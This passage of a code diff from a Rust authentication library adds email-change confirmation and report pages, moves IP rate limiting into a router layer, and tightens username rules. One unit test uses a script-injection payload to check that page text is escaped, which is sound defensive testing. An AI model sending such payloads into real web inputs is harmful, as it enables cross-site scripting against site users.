623 + "a POST with neither CSRF header nor cookie must go through"
624 + );
625 + let html = body_of(response).await;
626 + assert!(
627 + !html.contains("<form"),
628 + "the result page has nothing left to submit"
629 + );
630 +
631 + assert_eq!(current_email(&db, user.id).await, candidate);
632 + assert!(pending_row(&db, user.id).await.used_at.is_some());
633 + }
634 +
635 + /// RFC 0041 test 21 — the report is recorded and does not block anything.
636 + #[tokio::test]
637 + async fn posting_the_report_form_flags_the_request() {
638 + let db = test_db().await;
639 + let (user, candidate, confirm, report) = seed_request(&db).await;
640 +
641 + let response = app(&db)
642 + .oneshot(post(&format!("/api/v1/auth/email-change/report/{report}")))
643 + .await
644 + .expect("oneshot");
645 + assert_eq!(response.status(), StatusCode::OK);
646 + assert!(!body_of(response).await.contains("<form"));
647 +
648 + let row = pending_row(&db, user.id).await;
649 + assert!(row.reported_at.is_some(), "the request must be flagged");
650 + assert!(row.used_at.is_none(), "a report must not consume it");
651 +
652 + // And the change still goes through: alerting is not deciding.
653 + let confirmed = app(&db)
654 + .oneshot(post(&format!(
655 + "/api/v1/auth/email-change/confirm/{confirm}"
656 + )))
657 + .await
658 + .expect("oneshot");
659 + assert_eq!(confirmed.status(), StatusCode::OK);
660 + assert_eq!(current_email(&db, user.id).await, candidate);
661 + }
662 +
663 + // ── Unusable links ──────────────────────────────────────────────────────
664 +
665 + /// An unusable link still answers `200` with an explanation, and offers no
666 + /// form: nobody is invited to submit a token that would be refused.
667 + #[tokio::test]
668 + async fn an_unusable_link_explains_itself_and_offers_no_form() {
669 + let db = test_db().await;
670 + let (user, _, confirm, _) = seed_request(&db).await;
671 +
672 + // Unknown token.
673 + let unknown = Uuid::new_v4().to_string();
674 + let response = app(&db)
675 + .oneshot(get(&format!("/api/v1/auth/email-change/confirm/{unknown}")))
676 + .await
677 + .expect("oneshot");
678 + assert_eq!(response.status(), StatusCode::OK);
679 + let html = body_of(response).await;
680 + assert!(html.starts_with("<!DOCTYPE html>"));
681 + assert!(html.contains("<h1>"), "the visitor gets an explanation");
682 + assert!(
683 + !html.contains("<form") && !html.contains("<button"),
684 + "an unusable link must not invite a POST"
685 + );
686 +
687 + // Expired token.
688 + let mut active: pending_email_change::ActiveModel = pending_row(&db, user.id).await.into();
689 + active.expires_at = Set(Utc::now() - chrono::Duration::hours(1));
690 + active.update(&db).await.expect("expire the row");
691 +
692 + let response = app(&db)
693 + .oneshot(get(&format!("/api/v1/auth/email-change/confirm/{confirm}")))
694 + .await
695 + .expect("oneshot");
696 + assert_eq!(response.status(), StatusCode::OK);
697 + assert!(!body_of(response).await.contains("<form"));
698 +
699 + // And posting it anyway changes nothing.
700 + let response = app(&db)
701 + .oneshot(post(&format!(
702 + "/api/v1/auth/email-change/confirm/{confirm}"
703 + )))
704 + .await
705 + .expect("oneshot");
706 + assert_eq!(response.status(), StatusCode::OK);
707 + assert_eq!(
708 + current_email(&db, user.id).await,
709 + user.email,
710 + "an expired link must never move the address"
711 + );
712 + }
713 +
714 + /// The pages render with no `I18nService` extension layered: mounting
715 + /// these routes must never require a UI crate or a locale setup.
716 + #[tokio::test]
717 + async fn the_pages_render_headless_without_i18n() {
718 + let db = test_db().await;
719 + let (_, _, confirm, _) = seed_request(&db).await;
720 +
721 + let response = app(&db)
722 + .oneshot(get(&format!("/api/v1/auth/email-change/confirm/{confirm}")))
723 + .await
724 + .expect("oneshot");
725 +
726 + assert_eq!(response.status(), StatusCode::OK);
727 + let html = body_of(response).await;
728 + assert!(
729 + !html.contains("{{") && !html.contains("{%"),
730 + "no template syntax may leak into the page: {html}"
731 + );
732 + assert!(
733 + !html.contains("email_change_page."),
734 + "an untranslated key must fall back to English, not surface raw"
735 + );
736 + }
737 +}
A crates/rustwarden-core/src/auth/email_change_pages.rs
+162 -0
@@ -0,0 +1,162 @@
1 +//! Self-contained HTML pages for the two email-change links (RFC 0041).
2 +//!
3 +//! `rustwarden-core` must stay usable without any UI crate, so these pages are
4 +//! built with `format!` right here: **no Askama, no `rustwarden-ui`, no file
5 +//! read at runtime**, therefore no `AppError::Template` can ever occur on the
6 +//! path a user reaches from their mailbox. A non-regression test asserts this
7 +//! module's own source imports neither.
8 +//!
9 +//! The rendered document carries no JavaScript, no external stylesheet and no
10 +//! absolute URL: the form posts to `action=""`, i.e. the current URL, so the
11 +//! pages stay correct whatever prefix the consumer mounted the routes under.
12 +//!
13 +//! A consumer wanting its own presentation mounts its own `GET` route on the
14 +//! same path and renders whatever it likes, as long as the form posts to the
15 +//! core's `POST` route. The extension point is the route, not a rendering
16 +//! trait.
17 +
18 +use crate::services::email_sanitization::sanitize_email_content;
19 +
20 +/// An interstitial (with a submit button) or result (without one) page.
21 +pub(crate) struct EmailChangePage {
22 + /// Value of the document `lang` attribute.
23 + pub(crate) lang: String,
24 + /// Already translated page title, also used as the `<h1>`.
25 + pub(crate) title: String,
26 + /// Already translated body message.
27 + pub(crate) message: String,
28 + /// Already translated submit label. `None` renders **no form at all**:
29 + /// used for results and for links that cannot be used (unknown, expired
30 + /// or already consumed) — there is no point inviting a `POST` that would
31 + /// fail.
32 + pub(crate) button: Option<String>,
33 +}
34 +
35 +/// Inline stylesheet. Deliberately tiny and embedded: a CSP that forbids
36 +/// inline styles only costs the styling, never the function of the page.
37 +const PAGE_STYLE: &str = "body{font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,\
38 +'Helvetica Neue',Arial,sans-serif;line-height:1.6;color:#1f2937;background:#f4f4f4;margin:0;\
39 +padding:40px 20px}main{max-width:560px;margin:0 auto;background:#fff;border-radius:8px;\
40 +padding:32px;box-shadow:0 2px 4px rgba(0,0,0,.1)}h1{font-size:22px;margin:0 0 16px}\
41 +p{margin:0 0 24px}button{display:inline-block;padding:12px 28px;background:#10b981;color:#fff;\
42 +border:0;border-radius:6px;font-size:16px;font-weight:600;cursor:pointer}";
43 +
44 +/// Render the page as a standalone HTML document.
45 +///
46 +/// Every caller-supplied string is HTML-escaped, and the confirmation or
47 +/// report token is never written into the body: it only ever lives in the URL
48 +/// the form posts back to.
49 +pub(crate) fn render(page: &EmailChangePage) -> String {
50 + let title = sanitize_email_content(&page.title);
51 + let message = sanitize_email_content(&page.message);
52 + let form = match &page.button {
53 + Some(label) => format!(
54 + "<form method=\"post\" action=\"\"><button type=\"submit\">{}</button></form>",
55 + sanitize_email_content(label)
56 + ),
57 + None => String::new(),
58 + };
59 +
60 + format!(
61 + "<!DOCTYPE html>\n<html lang=\"{lang}\">\n<head>\n<meta charset=\"utf-8\">\n\
62 + <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n\
63 + <meta name=\"robots\" content=\"noindex, nofollow\">\n\
64 + <title>{title}</title>\n<style>{style}</style>\n</head>\n\
65 + <body>\n<main>\n<h1>{title}</h1>\n<p>{message}</p>\n{form}\n</main>\n</body>\n</html>\n",
66 + lang = sanitize_email_content(&page.lang),
67 + title = title,
68 + message = message,
69 + style = PAGE_STYLE,
70 + form = form,
71 + )
72 +}
73 +
74 +#[cfg(test)]
75 +mod tests {
76 + use super::*;
77 +
78 + fn interstitial() -> EmailChangePage {
79 + EmailChangePage {
80 + lang: "fr".to_string(),
81 + title: "Confirmer votre nouvelle adresse e-mail".to_string(),
82 + message: "Toutes vos sessions seront fermées.".to_string(),
83 + button: Some("Confirmer le changement".to_string()),
84 + }
85 + }
86 +
87 + #[test]
88 + fn interstitial_carries_a_post_form_and_a_button() {
89 + let html = render(&interstitial());
90 + assert!(html.starts_with("<!DOCTYPE html>"));
91 + assert!(html.contains("<form"));
92 + assert!(html.contains("method=\"post\""));
93 + assert!(html.contains("<button"));
94 + // Relative action: correct under any mount prefix.
95 + assert!(html.contains("action=\"\""));
96 + }
97 +
98 + #[test]
99 + fn page_carries_no_script_and_no_external_resource() {
100 + let html = render(&interstitial());
101 + assert!(!html.contains("<script"), "no JavaScript on this path");
102 + assert!(!html.contains("http://"), "no absolute external URL");
103 + assert!(!html.contains("https://"), "no absolute external URL");
104 + assert!(!html.contains("<link"), "no external stylesheet");
105 + }
106 +
107 + #[test]
108 + fn result_page_has_no_form_at_all() {
109 + let page = EmailChangePage {
110 + button: None,
111 + ..interstitial()
112 + };
113 + let html = render(&page);
114 + assert!(!html.contains("<form"), "nothing left to submit");
115 + assert!(!html.contains("<button"));
116 + }
117 +
118 + #[test]
119 + fn caller_strings_are_escaped() {
120 + let page = EmailChangePage {
121 + lang: "fr".to_string(),
122 + title: "<script>alert('x')</script>".to_string(),
123 + message: "a & b".to_string(),
124 + button: Some("\"quoted\"".to_string()),
125 + };
126 + let html = render(&page);
127 + assert!(!html.contains("<script>alert"));
128 + assert!(html.contains("&lt;script&gt;"));
129 + assert!(html.contains("a &amp; b"));
130 + assert!(html.contains("&quot;quoted&quot;"));
131 + }
132 +
133 + /// The token must never appear in the visible body: it travels in the URL
134 + /// the form posts back to, nowhere else.
135 + #[test]
136 + fn token_never_reaches_the_body() {
137 + let token = "8f14e45f-ea16-4d1b-9c2f-6ba0e6c5a3d7";
138 + let html = render(&interstitial());
139 + assert!(!html.contains(token));
140 + }
141 +
142 + /// Non-regression on the headless contract: this module builds its HTML
143 + /// by hand and must not gain a templating or UI dependency.
144 + #[test]
145 + fn module_depends_on_neither_askama_nor_the_ui_crate() {
146 + let source = include_str!("email_change_pages.rs");
147 + // Skip this very test's own mentions by looking at `use` lines only.
148 + for line in source
149 + .lines()
150 + .filter(|l| l.trim_start().starts_with("use "))
151 + {
152 + assert!(
153 + !line.contains("askama"),
154 + "the interstitial pages must not depend on Askama: {line}"
155 + );
156 + assert!(
157 + !line.contains("rustwarden_ui"),
158 + "the interstitial pages must not depend on rustwarden-ui: {line}"
159 + );
160 + }
161 + }
162 +}
M crates/rustwarden-core/src/auth/handlers.rs
+23 -73
@@ -29,11 +29,11 @@ use crate::config::email::EmailConfig;
29 29 use crate::error::AppError;
30 30 use crate::hooks::RustwardenHooks;
31 31 use crate::services::{
32 - auth_logging::AuthLoggingService, auth_service::AuthService,
33 - email_validation_service::EmailValidationService, jwt_blacklist_service::JwtBlacklistService,
34 - password_reset_service::PasswordResetService, password_service::PasswordService,
35 - refresh_token_service::RefreshTokenService, role_service::RoleService,
36 - user_preferences_service::UserPreferencesService, user_service::UserService,
32 + auth_service::AuthService, email_validation_service::EmailValidationService,
33 + jwt_blacklist_service::JwtBlacklistService, password_reset_service::PasswordResetService,
34 + password_service::PasswordService, refresh_token_service::RefreshTokenService,
35 + role_service::RoleService, user_preferences_service::UserPreferencesService,
36 + user_service::UserService,
37 37 };
38 38
39 39 // --- Auth DTOs (inlined, no separate dto module) ---
@@ -181,8 +181,8 @@ pub struct ResendVerificationResponse {
181 181 /// Request body for POST /api/v1/auth/register.
182 182 #[derive(Debug, Deserialize, Validate)]
183 183 pub struct RegisterRequest {
184 - /// Desired login name (3–64 characters).
185 - #[validate(length(min = 3, max = 64))]
184 + /// Desired login name (3–39 characters, `[a-z0-9-]`, no reserved words).
185 + #[validate(length(min = 3, max = 39))]
186 186 pub username: String,
187 187 /// Email address for the new account.
188 188 #[validate(email)]
@@ -238,7 +238,7 @@ impl IntoResponse for EmailVerifiedTemplate {
238 238 ///
239 239 /// ```json
240 240 /// {
241 -/// "username": "john_doe",
241 +/// "username": "john-doe",
242 242 /// "password": "SecurePassword123!"
243 243 /// }
244 244 /// ```
@@ -253,7 +253,7 @@ impl IntoResponse for EmailVerifiedTemplate {
253 253 /// "expires_in": 900,
254 254 /// "user": {
255 255 /// "id": "550e8400-e29b-41d4-a716-446655440000",
256 -/// "username": "john_doe",
256 +/// "username": "john-doe",
257 257 /// "email": "john@example.com",
258 258 /// "roles": ["user"]
259 259 /// }
@@ -280,21 +280,16 @@ impl IntoResponse for EmailVerifiedTemplate {
280 280 /// ```bash
281 281 /// curl -X POST http://localhost:3000/api/v1/auth/login \
282 282 /// -H "Content-Type: application/json" \
283 -/// -d '{"username": "john_doe", "password": "password123"}'
283 +/// -d '{"username": "john-doe", "password": "password123"}'
284 284 /// ```
285 285 pub async fn login(
286 286 State(db): State<DatabaseConnection>,
287 - headers: HeaderMap,
287 + _headers: HeaderMap,
288 288 _user_session: Session,
289 289 Extension(auth_config): Extension<Arc<AuthConfig>>,
290 290 hooks: Option<Extension<Arc<dyn RustwardenHooks>>>,
291 291 Json(payload): Json<LoginRequest>,
292 292 ) -> Result<Response, AppError> {
293 - // SEC-C2: Per-IP rate limiting
294 - if let Err(resp) = crate::middleware::rate_limit::check_auth_rate_limit(&headers) {
295 - return Ok(resp);
296 - }
297 -
298 293 tracing::info!("Login request received for user: {}", payload.username);
299 294
300 295 // Validate input
@@ -312,38 +307,10 @@ pub async fn login(
312 307 payload.username
313 308 );
314 309
315 - // Authenticate user (verifies credentials and checks must_change_password)
310 + // Authenticate user: verifies credentials, logs must_change_password and
311 + // enforces the email-verified policy (RFC 0040 — check lives in the service).
316 312 let user = AuthService::authenticate_user(&db, &payload.username, &payload.password).await?;
317 313
318 - let email_validation_required =
319 - crate::services::app_settings_service::AppSettingsService::get_bool_with_fallback(
320 - &db,
321 - &["validation_email_required", "validation_email_requise"],
322 - true,
323 - )
324 - .await
325 - .unwrap_or(true);
326 -
327 - if email_validation_required && !user.email_verified {
328 - let reason = "email_not_verified";
329 - tracing::warn!(
330 - "Login attempt blocked (unverified email): {} ({})",
331 - user.username,
332 - user.email
333 - );
334 - // Journaliser sans stocker de secrets
335 - AuthLoggingService::log_blocked_login(
336 - &db,
337 - &user.email,
338 - reason,
339 - hooks.as_ref().map(|Extension(h)| h),
340 - )
341 - .await?;
342 - return Err(AppError::Validation(
343 - "Votre email n'est pas vérifié. Cliquez sur « Renvoyer l'email de validation » pour recevoir un nouveau lien.".to_string(),
344 - ));
345 - }
346 -
347 314 // Check if 2FA is forced globally
348 315 let totp_force_enabled =
349 316 crate::services::app_settings_service::AppSettingsService::get_bool_with_fallback(
@@ -677,7 +644,7 @@ pub async fn verify_2fa(
677 644 /// ```json
678 645 /// {
679 646 /// "id": "550e8400-e29b-41d4-a716-446655440000",
680 -/// "username": "john_doe",
647 +/// "username": "john-doe",
681 648 /// "email": "john@example.com",
682 649 /// "roles": ["user"],
683 650 /// "created_at": "2024-01-01T00:00:00Z",
@@ -966,17 +933,10 @@ pub async fn logout(
966 933 /// ```
967 934 pub async fn refresh_token(
968 935 State(db): State<DatabaseConnection>,
969 - headers: HeaderMap,
936 + _headers: HeaderMap,
970 937 Extension(auth_config): Extension<Arc<AuthConfig>>,
971 938 Json(payload): Json<RefreshRequest>,
972 939 ) -> Result<Response, AppError> {
973 - // SEC-C2: Per-IP rate limiting
974 - if let Err(_resp) = crate::middleware::rate_limit::check_auth_rate_limit(&headers) {
975 - return Err(AppError::Validation(
976 - "Too many requests. Please try again later.".to_string(),
977 - ));
978 - }
979 -
980 940 // Validate input
981 941 payload.validate().map_err(|e| {
982 942 tracing::warn!("Refresh request validation failed: {}", e);
@@ -1136,16 +1096,9 @@ mod tests {
1136 1096 /// ```
1137 1097 pub async fn forgot_password(
1138 1098 State(db): State<DatabaseConnection>,
1139 - headers: HeaderMap,
1099 + _headers: HeaderMap,
1140 1100 Json(payload): Json<ForgotPasswordRequest>,
1141 1101 ) -> Result<impl IntoResponse, AppError> {
1142 - // SEC-C2: Per-IP rate limiting
1143 - if let Err(_resp) = crate::middleware::rate_limit::check_auth_rate_limit(&headers) {
1144 - return Err(AppError::Validation(
1145 - "Too many requests. Please try again later.".to_string(),
1146 - ));
1147 - }
1148 -
1149 1102 // Validate email format
1150 1103 payload
1151 1104 .validate()
@@ -1390,7 +1343,7 @@ pub async fn resend_verification_by_username(
1390 1343 ///
1391 1344 /// ```json
1392 1345 /// {
1393 -/// "username": "john_doe",
1346 +/// "username": "john-doe",
1394 1347 /// "email": "john@example.com",
1395 1348 /// "password": "SecurePassword123!"
1396 1349 /// }
@@ -1402,7 +1355,7 @@ pub async fn resend_verification_by_username(
1402 1355 /// {
1403 1356 /// "message": "Account created successfully. Please check your email to verify your account.",
1404 1357 /// "user_id": "550e8400-e29b-41d4-a716-446655440000",
1405 -/// "username": "john_doe",
1358 +/// "username": "john-doe",
1406 1359 /// "email": "john@example.com"
1407 1360 /// }
1408 1361 /// ```
@@ -1423,17 +1376,10 @@ pub async fn resend_verification_by_username(
1423 1376 /// - Email verification is required
1424 1377 pub async fn register(
1425 1378 State(db): State<DatabaseConnection>,
1426 - headers: HeaderMap,
1379 + _headers: HeaderMap,
1427 1380 hooks: Option<Extension<Arc<dyn RustwardenHooks>>>,
1428 1381 Json(payload): Json<RegisterRequest>,
1429 1382 ) -> Result<Json<RegisterResponse>, AppError> {
1430 - // SEC-C2: Per-IP rate limiting
1431 - if crate::middleware::rate_limit::check_auth_rate_limit(&headers).is_err() {
1432 - return Err(AppError::Validation(
1433 - "Too many requests. Please try again later.".to_string(),
1434 - ));
1435 - }
1436 -
1437 1383 tracing::info!(
1438 1384 "Registration request received for username: {}",
1439 1385 payload.username
@@ -1445,6 +1391,10 @@ pub async fn register(
1445 1391 AppError::Validation(format!("Invalid registration request: {}", e))
1446 1392 })?;
1447 1393
1394 + // Enforce username charset + reserved-name rules (defense in depth —
1395 + // create_user is the service gate, register adds the public-boundary check).
1396 + crate::types::Username::parse(&payload.username)?;
1397 +
1448 1398 // SEC-H1: Validate password complexity from DB rules
1449 1399 crate::middleware::password_complexity::validate_password_complexity(&db, &payload.password)
1450 1400 .await?;
M crates/rustwarden-core/src/auth/jwt.rs
+2 -2
@@ -62,7 +62,7 @@ pub enum IdentityKind {
62 62 /// sub: Uuid::new_v4(),
63 63 /// jti: Uuid::new_v4().to_string(),
64 64 /// aud: "rustwarden".to_string(),
65 -/// username: "john_doe".to_string(),
65 +/// username: "john-doe".to_string(),
66 66 /// roles: vec!["user".to_string()],
67 67 /// permissions: vec!["users.list".to_string()],
68 68 /// exp: Utc::now().timestamp() + 900,
@@ -187,7 +187,7 @@ impl JwtService {
187 187 /// let token = JwtService::generate_token(
188 188 /// &config,
189 189 /// user_id,
190 - /// "john_doe",
190 + /// "john-doe",
191 191 /// roles,
192 192 /// permissions,
193 193 /// ).unwrap();
M crates/rustwarden-core/src/auth/mod.rs
+4 -0
@@ -6,6 +6,10 @@
6 6 /// - Refresh token system
7 7 /// - Authentication middleware
8 8 /// Request handlers for login, logout, refresh, and current-user endpoints.
9 +/// HTTP handlers for the two-step email change (RFC 0041).
10 +pub mod email_change_handlers;
11 +/// Self-contained HTML pages for the email-change links (RFC 0041).
12 +mod email_change_pages;
9 13 pub mod extractors;
10 14 /// Authentication HTTP handlers.
11 15 pub mod handlers;
M crates/rustwarden-core/src/auth/routes.rs
+229 -12
@@ -6,7 +6,7 @@ use axum::{
6 6 };
7 7 use sea_orm::DatabaseConnection;
8 8
9 -use crate::auth::handlers;
9 +use crate::auth::{email_change_handlers, handlers};
10 10
11 11 /// Build the JSON authentication API router (`/api/v1/auth/*`).
12 12 ///
@@ -33,16 +33,34 @@ use crate::auth::handlers;
33 33 /// .await?;
34 34 /// ```
35 35 pub fn auth_api_routes() -> Router<DatabaseConnection> {
36 - Router::new()
36 + let limited = Router::new()
37 37 .route("/api/v1/auth/login", post(handlers::login))
38 38 .route("/api/v1/auth/register", post(handlers::register))
39 39 .route("/api/v1/auth/refresh", post(handlers::refresh_token))
40 - .route("/api/v1/auth/logout", post(handlers::logout))
41 - .route("/api/v1/auth/me", get(handlers::get_current_user))
42 40 .route(
43 41 "/api/v1/auth/forgot-password",
44 42 post(handlers::forgot_password),
45 43 )
44 + .route("/api/v1/auth/2fa/verify", post(handlers::verify_2fa))
45 + .route(
46 + "/api/v1/auth/resend-verification",
47 + post(handlers::resend_verification),
48 + )
49 + .route(
50 + "/api/v1/auth/resend-verification/by-username",
51 + post(handlers::resend_verification_by_username),
52 + )
53 + .route(
54 + "/api/v1/auth/email-change",
55 + post(email_change_handlers::request_email_change),
56 + )
57 + .layer(axum::middleware::from_fn(
58 + crate::middleware::rate_limit::auth_ip_rate_limit,
59 + ));
60 +
61 + let unlimited = Router::new()
62 + .route("/api/v1/auth/logout", post(handlers::logout))
63 + .route("/api/v1/auth/me", get(handlers::get_current_user))
46 64 .route(
47 65 "/api/v1/auth/reset-password",
48 66 post(handlers::reset_password),
@@ -52,21 +70,32 @@ pub fn auth_api_routes() -> Router<DatabaseConnection> {
52 70 get(handlers::verify_email),
53 71 )
54 72 .route(
55 - "/api/v1/auth/resend-verification",
56 - post(handlers::resend_verification),
73 + "/api/v1/auth/email-change/confirm/{token}",
74 + get(email_change_handlers::confirm_email_change_page)
75 + .post(email_change_handlers::confirm_email_change),
57 76 )
58 77 .route(
59 - "/api/v1/auth/resend-verification/by-username",
60 - post(handlers::resend_verification_by_username),
61 - )
62 - .route("/api/v1/auth/2fa/verify", post(handlers::verify_2fa))
78 + "/api/v1/auth/email-change/report/{token}",
79 + get(email_change_handlers::report_email_change_page)
80 + .post(email_change_handlers::report_email_change),
81 + );
82 +
83 + limited.merge(unlimited)
63 84 }
64 85
65 86 #[cfg(test)]
66 87 mod tests {
67 88 use super::auth_api_routes;
68 - use axum::{Json, Router, routing::get};
69 - use sea_orm::DatabaseConnection;
89 + use axum::{
90 + Json, Router,
91 + body::Body,
92 + extract::connect_info::MockConnectInfo,
93 + http::{Request, StatusCode},
94 + routing::get,
95 + };
96 + use sea_orm::{DatabaseBackend, DatabaseConnection, MockDatabase};
97 + use std::net::SocketAddr;
98 + use tower::ServiceExt;
70 99
71 100 /// Mirrors the protected handler the CLI scaffolds into headless
72 101 /// projects. Kept in sync so the generated code's interface (the
@@ -89,4 +118,192 @@ mod tests {
89 118 let _router: Router<DatabaseConnection> =
90 119 auth_api_routes().merge(Router::new().route("/api/whoami", get(whoami)));
91 120 }
121 +
122 + /// TEST-NET-3 address so this budget never shares `auth:unknown` with
123 + /// other tests that call `check_auth_rate_limit` without ConnectInfo.
124 + fn testnet_peer() -> SocketAddr {
125 + SocketAddr::from(([203, 0, 113, 1], 12345))
126 + }
127 +
128 + fn login_request() -> Request<Body> {
129 + Request::builder()
130 + .method("POST")
131 + .uri("/api/v1/auth/login")
132 + .header("content-type", "application/json")
133 + .body(Body::from(r#"{"username":"u","password":"p"}"#))
134 + .expect("login request")
135 + }
136 +
137 + fn logout_request() -> Request<Body> {
138 + Request::builder()
139 + .method("POST")
140 + .uri("/api/v1/auth/logout")
141 + .body(Body::empty())
142 + .expect("logout request")
143 + }
144 +
145 + fn verify_2fa_request() -> Request<Body> {
146 + Request::builder()
147 + .method("POST")
148 + .uri("/api/v1/auth/2fa/verify")
149 + .header("content-type", "application/json")
150 + .body(Body::from(r#"{"challenge_token":"dummy","code":"123456"}"#))
151 + .expect("2fa verify request")
152 + }
153 +
154 + fn auth_app_with_peer(peer: SocketAddr) -> Router {
155 + let db = MockDatabase::new(DatabaseBackend::Postgres).into_connection();
156 + auth_api_routes()
157 + .with_state(db)
158 + .layer(MockConnectInfo(peer))
159 + }
160 +
161 + #[tokio::test]
162 + async fn auth_limiter_separates_two_connect_ips() {
163 + let app_ip1 = auth_app_with_peer(testnet_peer());
164 + let app_ip2 = auth_app_with_peer(SocketAddr::from(([198, 51, 100, 1], 12345)));
165 +
166 + for i in 1..=10 {
167 + let resp = app_ip1
168 + .clone()
169 + .oneshot(login_request())
170 + .await
171 + .expect("oneshot");
172 + assert_ne!(
173 + resp.status(),
174 + StatusCode::TOO_MANY_REQUESTS,
175 + "request {i}/10 from 203.0.113.1 must not be 429"
176 + );
177 + }
178 +
179 + let eleventh = app_ip1
180 + .clone()
181 + .oneshot(login_request())
182 + .await
183 + .expect("oneshot");
184 + assert_eq!(
185 + eleventh.status(),
186 + StatusCode::TOO_MANY_REQUESTS,
187 + "11th request from 203.0.113.1 must be 429"
188 + );
189 + let retry_after = eleventh.headers().get("retry-after");
190 + assert!(
191 + retry_after.is_some_and(|v| !v.as_bytes().is_empty()),
192 + "429 must carry a non-empty Retry-After header"
193 + );
194 +
195 + let logout = app_ip1.oneshot(logout_request()).await.expect("oneshot");
196 + assert_ne!(
197 + logout.status(),
198 + StatusCode::TOO_MANY_REQUESTS,
199 + "unlimited /logout must not be 429 when the limited login budget is exhausted"
200 + );
201 +
202 + let other = app_ip2.oneshot(login_request()).await.expect("oneshot");
203 + assert_ne!(
204 + other.status(),
205 + StatusCode::TOO_MANY_REQUESTS,
206 + "first request from 198.51.100.1 must not share 203.0.113.1's exhausted budget"
207 + );
208 + }
209 +
210 + /// Distinct TEST-NET-1 IP so this budget never collides with
211 + /// `auth_limiter_separates_two_connect_ips` (203.0.113.1 / 198.51.100.1)
212 + /// on the process-wide OnceLock limiter.
213 + #[tokio::test]
214 + async fn auth_limiter_applies_to_2fa_verify() {
215 + let app = auth_app_with_peer(SocketAddr::from(([192, 0, 2, 80], 12345)));
216 +
217 + for i in 1..=10 {
218 + let resp = app
219 + .clone()
220 + .oneshot(verify_2fa_request())
221 + .await
222 + .expect("oneshot");
223 + assert_ne!(
224 + resp.status(),
225 + StatusCode::TOO_MANY_REQUESTS,
226 + "request {i}/10 to /2fa/verify from 192.0.2.80 must not be 429"
227 + );
228 + }
229 +
230 + let eleventh = app.oneshot(verify_2fa_request()).await.expect("oneshot");
231 + assert_eq!(
232 + eleventh.status(),
233 + StatusCode::TOO_MANY_REQUESTS,
234 + "11th request to /2fa/verify from 192.0.2.80 must be 429"
235 + );
236 + }
237 + fn email_change_request() -> Request<Body> {
238 + Request::builder()
239 + .method("POST")
240 + .uri("/api/v1/auth/email-change")
241 + .header("content-type", "application/json")
242 + .body(Body::from(
243 + r#"{"new_email":"new@example.test","current_password":"p"}"#,
244 + ))
245 + .expect("email-change request")
246 + }
247 +
248 + fn confirm_link_request() -> Request<Body> {
249 + Request::builder()
250 + .method("GET")
251 + .uri("/api/v1/auth/email-change/confirm/11111111-1111-1111-1111-111111111111")
252 + .body(Body::empty())
253 + .expect("confirm link request")
254 + }
255 +
256 + /// RFC 0041 — opening a change is the expensive, mail-sending operation,
257 + /// so it sits in the IP-limited group next to login.
258 + #[tokio::test]
259 + async fn auth_limiter_applies_to_the_email_change_request() {
260 + let app = auth_app_with_peer(SocketAddr::from(([192, 0, 2, 81], 12345)));
261 +
262 + for i in 1..=10 {
263 + let resp = app
264 + .clone()
265 + .oneshot(email_change_request())
266 + .await
267 + .expect("oneshot");
268 + assert_ne!(
269 + resp.status(),
270 + StatusCode::TOO_MANY_REQUESTS,
271 + "request {i}/10 to /email-change from 192.0.2.81 must not be 429"
272 + );
273 + }
274 +
275 + let eleventh = app.oneshot(email_change_request()).await.expect("oneshot");
276 + assert_eq!(
277 + eleventh.status(),
278 + StatusCode::TOO_MANY_REQUESTS,
279 + "11th request to /email-change from 192.0.2.81 must be 429"
280 + );
281 + }
282 +
283 + /// RFC 0041 — the emailed links stay out of the IP budget on purpose. A
284 + /// user clicking from their mailbox must not be turned away because a
285 + /// neighbour behind the same NAT exhausted the login budget; the tokens
286 + /// are single-use and unguessable, which is what bounds abuse here.
287 + #[tokio::test]
288 + async fn the_email_change_links_are_not_ip_limited() {
289 + let app = auth_app_with_peer(SocketAddr::from(([203, 0, 113, 2], 12345)));
290 +
291 + // Exhaust the IP budget on a limited route first.
292 + for _ in 1..=11 {
293 + let _ = app.clone().oneshot(login_request()).await.expect("oneshot");
294 + }
295 +
296 + for i in 1..=12 {
297 + let resp = app
298 + .clone()
299 + .oneshot(confirm_link_request())
300 + .await
301 + .expect("oneshot");
302 + assert_ne!(
303 + resp.status(),
304 + StatusCode::TOO_MANY_REQUESTS,
305 + "click {i} on the confirmation link must never be 429"
306 + );
307 + }
308 + }
92 309 }
M crates/rustwarden-core/src/bin/change_password.rs
+2 -2
@@ -4,7 +4,7 @@
4 4 //! cargo run --bin change_password -- `<username>` `<nouveau_password>`
5 5 //!
6 6 //! Exemples:
7 -//! cargo run --bin change_password -- john_doe "NewPassword123!"
7 +//! cargo run --bin change_password -- john-doe "NewPassword123!"
8 8 //! cargo run --bin change_password -- admin "SecureAdminPass2024"
9 9 //!
10 10 //! Options:
@@ -45,7 +45,7 @@ async fn main() {
45 45 );
46 46 eprintln!();
47 47 eprintln!("Exemples:");
48 - eprintln!(" {} john_doe \"NewPassword123!\"", args[0]);
48 + eprintln!(" {} john-doe \"NewPassword123!\"", args[0]);
49 49 eprintln!(" {} admin \"SecurePass2024\" --force-change", args[0]);
50 50 std::process::exit(1);
51 51 }
M crates/rustwarden-core/src/bin/screen-select/catalogue.rs
+366 -162
@@ -88,161 +88,345 @@ pub fn by_key(key: &str) -> Option<&'static Functionality> {
88 88 }
89 89
90 90 const CATALOGUE: &[Functionality] = &[
91 - Functionality { key: "authentication", label: "Authentication", always: true, screens: &[
92 - Screen { name: "Login", suggested_route: "/login", channel: Channel::Browser, auth_level: AuthLevel::Public,
93 - core_methods: "AuthService, JwtService, POST /api/v1/auth/login", io: "form login → cookie JWT / challenge 2FA",
94 - security_notes: &[
95 - "redirect post-login : n'autoriser qu'un chemin relatif same-origin (rejeter les URL absolues et `//host`) — bloque l'open redirect `?redirect=`",
96 - "flux public : ne pas divulguer si l'identifiant/email existe (message d'échec générique)",
97 - ] },
98 - ]},
99 - Functionality { key: "registration", label: "Registration", always: false, screens: &[
100 - Screen { name: "Register", suggested_route: "/register", channel: Channel::Browser, auth_level: AuthLevel::Public,
101 - core_methods: "UserService, AppSettingsService(allow_registration), POST /api/v1/auth/register", io: "form inscription",
102 - security_notes: &[
103 - "respecter `allow_registration` (403 si désactivé) ; valider/normaliser l'email côté serveur",
104 - "flux public : ne pas révéler qu'un email est déjà enregistré",
105 - ] },
106 - ]},
107 - Functionality { key: "password_reset", label: "PasswordReset", always: false, screens: &[
